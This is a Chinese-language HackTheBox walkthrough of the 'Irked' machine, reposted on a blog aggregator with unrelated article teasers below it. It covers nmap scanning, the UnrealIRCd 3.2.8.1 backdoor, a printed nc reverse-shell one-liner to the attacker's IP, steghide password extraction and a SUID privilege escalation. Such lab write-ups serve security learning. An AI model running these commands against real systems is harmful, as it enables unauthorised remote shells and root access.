HACKTHEBOX——Irked

news2024/12/24 1:01:27

nmap

nmap -sV -sC -Pn -T4 -oA nmap 10.10.10.117

可能是因为网络原因,与目标链接并不稳定,因此添加了参数-Pn,也只扫描了常见的端口

扫描可以看到只开启了3个端口,22,80和111。但是在访问web时,页面提示运行着irc

因此再次扫描目标系统,这次扫描全端口,为了节约时间,使用了以下命令nmap -vv -p- -Pn -T4 10.10.10.117,-vv可以及时的把扫描结果打印到屏幕上。

在对指定的端口进行详细扫描,发现6697端口运行着irc,版本为UnrealIRCd

hexchat连接IRC

网页提示再加上扫描都发现存在irc服务,那应该就是要对这个服务漏洞的利用了

Internet 中继聊天作为应用层协议实现,以方便以文本形式进行通信。聊天过程在客户端-服务器网络模型上运行。用户使用客户端(可能是Web 应用程序独立桌面程序或嵌入到较大程序的一部分)连接到 IRC 服务器,该服务器可能是较大 IRC 网络的一部分。

那么尝试看看能不能连接到IRC服务器,在网上搜索该如何连接IRC,发现有一篇文章,介绍了IRC并给出了客户端hexchat的使用方法http://unifreak.github.io/tutorial/IRC-quick-start,下载程序

等待下载完成,然后运行程序,add一个Networks,命名为irked,并编辑

点击连接后,很顺利的就连接到了irc

打开channel list,但里面没有任何东西

不知道该怎么搞,但是nc也可以连接,就要查一下irc该如何用了

UnrealIRCD 3.2.8.1

查阅IRC的RFC,手工getshell

在https://www.rfc-editor.org/rfc/rfc1459#section-4.1中有irc的使用指导,4.1节讲了该如何连接注册并与服务通信

1. Pass message

在连接前需要设置一个密码。命令:PASS 参数:<password>

2. Nick message

为用户设置一个昵称。命令:NICK 参数:<nickname> [ <hopcount> ]

3. User message

用于连接开始时指定 新用户的用户名、主机名、服务器名和realname。命令:USER 参数:<username> <hostname> <servername> <realname>

必须注意 realname 参数必须是最后一个参数, 因为它可能包含空格字符并且必须以冒号(':')作为前缀以确保它被识别为这样

使用nc连接服务,并按照对应格式填写对应信息,就可以连接服务,可以看到已经welcome了,并且发现目标使用的irc的版本为Unreal3.2.8.1

既然如此,尝试搜索该版本是否存在漏洞,很简单就能得知这个版本的服务存在后门,可以利用

DEBUG3_LOG最终解析为对system()的调用,而DEBUGMODE3_INFO只是字符串“AB”。因此,发送到服务器的以“AB”开头的命令将直接传递给 system()。

测试能否利用这一点,先在kali中开启tcpdump抓icmp的包,然后在目标中执行AB;ping -c 5 10.10.14.14

收到icmp的包

接下来在kali中用nc监听,在目标irc中执行反弹shell命令,命令在https://www.revshells.com/可以找到

AB;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.14 4444 >/tmp/f

msf一把梭哈

还有一种更快的漏洞利用方法,就是利用metasploit。在kali中使用msfconsole打开控制台,然后搜索漏洞

设置需要设置的东西,没什么好说的,设置好后直接run/exploit即可

steghide

还是先获取一个交互式shell,在djmardov目录中能看到user.txt,但是没有权限访问

steg隐写术,和主页的图片有关系,结合发现的这一串密码一样的东西,使用steghide

先将那个大黄脸下载到本地,然后下载steghide工具,使用图片,输入密码后便会将内容保存至目录下,命名为pass.txt

查看密码为Kab6h+m+bbp2J:HG 然后可以使用这个密码,用ssh登录djmardov

然后可以查看user.txt

djmardov→root

在目标机上传LinEnum,给予权限,执行。

看到suid文件

运行程序,提示没找到listusers

新建一个listusers,再次运行却提示操作不允许,为listusers添加执行权限,方便起见直接777,执行后提示hello没找到,好像是在执行listusers中的命令

确实和猜测的差不多

在listusers中写入/bin/bash,执行viewuser,执行listusers中的命令,然后就得到了root的权限

查看flag就可以了,over!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/386574.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WebRTC新增FFmpeg视频编解码模块

1、整体描述目前webrtc内置的视频编解码器包括&#xff1a;VP8、VP9、AV1和H264。一般情况下载pc端基本可以满足大部分的需求&#xff0c;但是有时候为了进行编解码器的扩展包括支持H265或者是支持硬件编解码以提升效率时需要新增编解码模块。2、新增外部编码器编码器实现的要点…

亿万级海量数据去重软方法

文章目录原理案例一需求&#xff1a;方法案例二需求&#xff1a;方法&#xff1a;参考原理 在大数据分布式计算框架生态下&#xff0c;提升计算效率的方法是尽可能的把计算分布式话、并行化&#xff0c;避免单节点计算过载&#xff0c;把计算分摊到各个节点。这样解释小白能够…

最新|移动机器人导航定位技术概述

前言目前工业界广泛落地使用的移动机器人&#xff0c;除了应用场景在餐厅、酒店、超市等小范围室内送餐机器人和消毒机器人外&#xff0c;另外一个“大赛道”应用场景就是在工厂、制造装配车间、电站或车站的物流搬运机器人和巡检机器人了。而在最开始&#xff0c;一切都得从AG…

spring cloud gateway (五)

Gateway简介 Spring Cloud Gateway是Spring公司基于Spring 5.0&#xff0c;Spring Boot 2.0 和 Project Reactor 等技术开发的网关&#xff0c;它旨在为微服务架构提供一种简单有效的统一的 API 路由管理方式。它的目标是替代Netflix Zuul&#xff0c;其不仅提供统一的路由方式…

java 字典

java 字典 数据结构总览 Map Map 描述的是一种映射关系&#xff0c;一个 key 对应一个 value&#xff0c;可以添加&#xff0c;删除&#xff0c;修改和获取 key/value&#xff0c;util 提供了多种 Map HashMap: hash 表实现的 map&#xff0c;插入删除查找性能都是 O(1)&…

MySQL跨服务器数据映射

MySQL跨服务器数据映射环境准备1. 首先是要查看数据库的federated引擎 开启/关闭 状态2. 打开任务管理器&#xff0c;并重启mysql服务3. 再次查看FEDERATED引擎状态&#xff0c;引擎已启动映射实现问题总结在日常的开发中经常进行跨数据库进行查询数据。 同服务器下跨数据库进…

【SpringCloud】SpringCloud详解之Feign实战

目录前言SpringCloud Feign远程服务调用一.需求二.两个服务的yml配置和访问路径三.使用RestTemplate远程调用(order服务内编写)四.使用Feign远程调用(order服务内配置)五.自定义Feign配置(order服务内配置)六.Feign配置日志(oder服务内配置)七.Feign调优(order服务内配置)八.抽…

STM32之 串口

串口通信串行接口简称串口&#xff0c;也称串行通信接口或串行通讯接口&#xff08;通常指COM接口&#xff09;&#xff0c;是采用串行通信方 式的扩展接口。串行接口&#xff08;Serial Interface&#xff09;是指数据一位一位地顺序传送。其特点是通信线路简 单&#xff0c;只…

Vue基础入门讲义(三)-指令

文章目录1.什么是指令&#xff1f;2.插值表达式2.1.花括号2.2.插值闪烁2.3.v-text和v-html3.v-model4.v-on4.1.基本用法4.2.事件修饰5.v-for5.1.遍历数组5.2.数组角标5.3.遍历对象6.key7.v-if和v-show7.1.基本使用7.2.与v-for结合7.3.v-else7.4.v-show8.v-bind8.1. 属性上使用v…

服务器处理发生异常:java.text.ParseException: Unparseable date

测试上传报文的时候遇见报错 服务器处理发生异常:java.text.ParseException: Unparseable date: “2023/03/03” 错误报文 实际需要的报文 错误原因 上传时间字段&#xff0c;与Date字段数据位数不匹配&#xff0c;Java类型&#xff1a;Date默认带有年月日 时分秒yyyy-mm-dd…

十年业务开发总结,如何做好高效高质量的价值交付

作者&#xff1a;杨博林 阿里大淘宝场景金融团队 软件交付是一个非常复杂的过程和体系&#xff0c;需要保障好每个阶段的质量和效率才能保障最终的质量和效率。本文将尝试从需求交付的前、中、后三个环节来阐述一下如何做高效高质量的价值交付。 一、背景 转眼间已经做了十年的…

JavaScript基础内容

日升时奋斗&#xff0c;日落时自省 目录 1、基础语法 2、DOM 2.1、选中页面元素 2.2、获取/修改元素内容 3、JS案例 3.1、网页版本猜数字 3.2、网页版表白墙 JS最初只是为了进行前端页面的开发后来JS也被赋予了更多的功能&#xff0c;可以用来开发桌面程序&#xff0c;手…

RHCSA-重置root密码(3.3)

方法1&#xff1a;rd.break &#xff08;1&#xff09;首先重启系统&#xff0c;在此页面按e键&#xff0c;在屏幕上显示内核启动参数 &#xff08;2&#xff09;知道linux这行&#xff0c;末尾空格后输入rd.break&#xff0c;然后按ctrlx &#xff08;3&#xff09;查看&#…

电脑桌面上的图标不见了怎么办?5个完美的解决技巧

案例&#xff1a;电脑桌面不显示任何东西&#xff1f; “救命&#xff01;电脑打开后&#xff0c;只有桌面&#xff0c;任何图标都没有怎么办&#xff1f;心急&#xff0c;不知道该怎么解决&#xff1f;” 电脑桌面上的图标消失是一个比较常见的问题&#xff0c;许多用户都会…

Hadoop集群启动从节点没有DataNode

目录 一、问题背景 二、解决思路 三、解决办法&#xff1a; 一、问题背景 之前启动hadoop集群的时候都没有问题&#xff0c;今天启动hadoop集群的时候&#xff0c;从节点的DataNode没有启动起来。 二、解决思路 遇见节点起不来的情况&#xff0c;可以去看看当前节点的日志…

各大加密算法对比(原理、性能、安全、运用)

原理按加密可逆可以分为&#xff1a;加密可逆算法和加密不可逆算法。加密可逆算法又可以分为&#xff1a;对称加密和非对称加密。1、加密不可逆算法&#xff1a;一般采用hash算法加密&#xff0c;其原理一般是将原文长度补位成64的倍数&#xff0c;接着初始化固定长度的缓存值&…

大数据框架之Hadoop:MapReduce(五)Yarn资源调度器

Apache YARN (Yet Another Resource Negotiator) 是 hadoop 2.0 引入的集群资源管理系统。用户可以将各种服务框架部署在 YARN 上&#xff0c;由 YARN 进行统一地管理和资源分配。 简言之&#xff0c;Yarn是一个资源调度平台&#xff0c;负责为运算程序提供服务器运算资源&…

Windows Cannot Initialize Data Bindings 问题的解决方法

前言 拿到一个调试程序, 怎么折腾都打不开, 在客户那边, 尝试了几个系统版本, 发现Windows 10 21H2 版本可以正常运行。 尝试 系统篇 系统结果公司电脑 Windows 8有问题…下载安装 Windows10 22H2问题依旧下载安装 Windows10 21H2问题依旧家里的 笔记本Window 11正常 网上…

第三章 opengl之着色器

OpenGL着色器GLSLGLSL的数据类型向量输入与输出Uniform更多属性自己的着色器类着色器 着色器是运行在GPU上的小程序。着色器只是一种把输入转化为输出的程序。着色器也是一种非常独立的程序&#xff0c;因为它们之间不能相互通信&#xff1b;它们之间唯一的沟通只有通过输入和…

DC-DC模块电源隔离直流升压高压稳压输出5v12v24v转60v100v110v150v220v250v300v400v500v

特点效率高达80%以上1*1英寸标准封装单电压输出稳压输出工作温度: -40℃~85℃阻燃封装&#xff0c;满足UL94-V0 要求温度特性好可直接焊在PCB 上应用HRB 0.2~10W 系列模块电源是一种DC-DC升压变换器。该模块电源的输入电压分为&#xff1a;4.5~9V、9~18V、及18~36VDC标准&#…